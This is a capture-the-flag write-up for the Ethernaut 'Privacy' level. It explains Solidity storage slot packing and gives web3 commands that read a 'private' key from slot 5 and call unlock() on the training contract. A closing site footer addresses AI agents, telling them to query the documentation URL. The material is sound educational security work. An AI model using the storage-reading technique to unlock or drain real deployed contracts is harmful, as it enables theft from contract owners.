# Privacy

## Description

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

* Understanding how storage works
* Understanding how parameter parsing works
* Understanding how casting works

Tips:

* Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

## Background Knowledge

### Storage

{% embed url="<https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/>" %}
Understanding Ethereum Smart Contract Storage
{% endembed %}

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}
```

This function is crucial:

```solidity
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
```

The key is stored at `data[2]`. Note that:

1. Private state variables in Solidity **aren't really private**.
2. We need to figure out the **storage layout** to read the key.

## Solution

Recall that:

* Each "slot" in Solidity is 32-byte long. Slots start from index 0.
* If a slot is not filled up by a variable, the next variable will be stored in the same slot if it fits the remaining room.
* `uint256` means uint of 256-bit, which is 32-byte.
* `uint8` is just 1-byte.
* `uint16` is 2-byte.
* `bytes32` is 32-byte. `bytes32[3]` is a 3-element array where each element is 32-byte.

Start counting:

```solidity
// slot 0
bool public locked = true;
// slot 1
uint256 public ID = block.timestamp;
// slot 2 part a
uint8 private flattening = 10;
// slot 2 part b
uint8 private denomination = 255;
// slot 2 part c
uint16 private awkwardness = uint16(now);
// slot 3, 4, and 5 => key is at slot 5
bytes32[3] private data;
```

Enumerate slot 5:

```javascript
await web3.eth.getStorageAt(contract.address, 5)

// 0xd58c35f60b37280af2422fe07e168a4b62ebc3aa11555fe33539fba0633c6e6f
```

Recall that in the contract the key was truncated into 16-byte:

```solidity
require(_key == bytes16(data[2]));
```

Here `bytes16()` keeps the first 16 bytes and throws away the rest. Use `slice()` trick to get the first 16 bytes of the key (including the `0x` prefix):

```javascript
key = await web3.eth.getStorageAt(contract.address, 5)
key.slice(0, 34)

// 0xd58c35f60b37280af2422fe07e168a4b
```

Call the `unlock()` function:

```javascript
_key = key.slice(0, 34)
await contract.unlock(_key)
```

Verify if the contract is unlocked now:

```javascript
await contract.locked()

// false
```

## Summary

Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3's `getStorageAt(...)` can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.

It can't get much more complicated than what was exposed in this level. For more, check out this excellent article by "Darius": [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/privacy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
